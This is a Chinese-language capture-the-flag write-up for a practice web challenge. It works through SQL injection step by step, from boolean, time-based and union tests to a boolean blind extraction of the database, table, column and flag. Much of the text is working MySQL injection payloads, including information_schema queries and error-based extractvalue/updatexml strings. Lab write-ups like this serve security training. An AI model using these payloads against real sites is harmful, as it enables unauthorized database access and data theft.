
Topic Link
http://ctf5.shiyanbar.com/web/index_3.php
1)测试正确值submit:1
测试目标和对象要明确:
2)单引号测试(判断存在字符型注入&&数据库是MySQL)
3)进一步测试 (and测试)
1' and 1=1# 显示正常
1' and 1=2# 显示不正常
判断存在注入漏洞
/*************** 一般性测试思路 ***************/
4)测试联合注入
# order by 判断列数n
1' order by 1# 正常页面
1' order by 2# 非正常页面
判断出列数为1,测试回显位
测试结果并没有回显位,联合注入查询失败
5)测试时间盲注
# 判断 if 关键字没有被过滤
1' and if(1,1,0)# 页面回显正常
1' and if(0,1,0)# 页面回显不正常
# 常见时间函数sleep() 、benchmark()被过滤
1' and if(1,sleep(5),0)#
1' and if(1,benchmark(100000000000,md5('admin')),0)#
# 测试时间盲注查询失败
6)测试布尔盲注
测试发现length()、ascii()、substr()、database()等关键函数没有被过滤,判断存在布尔盲注
测试工具:神器 Burpsuite
爆破数据库长度为4
1' and length(database())=n# n in(1,2,3,4,5,6,7,8,9.........)
@ 爆破数据库名
1' and ascii(substr(database(),m,1))=n#
第一位:w
第二位:e
第三位:b
第四位:1
爆破结果:web1
@ 爆表
爆破表的个数为2
1' and (select count(table_name) from information_schema.tables where table_schema=database())=n#
爆表
第一个表的字段长度为4
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n#
第二个表的字段长度为5
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=n#
第一个表的字段值为flag
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),m,1))=n#
第1位:f
第2位:l
第3位:a
第4位:g
爆字段
flag(表)
字段个数:2
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=n#
第一个字段长度:4
第二个字段长度:2
1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1))=n#
第一个字段值为:flag
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),m,1))=n#
第1位:f
第2位:l
第3位:a
第4位:g
第二个字段值:id
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),m,1))=n#
第1位:i
第2位:d
爆破字段flag的值
行数:1
1' and (select count(*) from web1.flag)=n#
数据长度:26
1' and length((select flag from flag))=n#
flag:flag{Y0u_@r3_50_dAmn_900d}
1' and ascii(substr((select flag from flag),m,1)) =n#
7)基于报错的盲注
测试发现常见报错函数被过滤(查询失效)
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
1' updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
至此,已完成所有的任务,如有疑问欢迎大家随时交流 (*^_^*)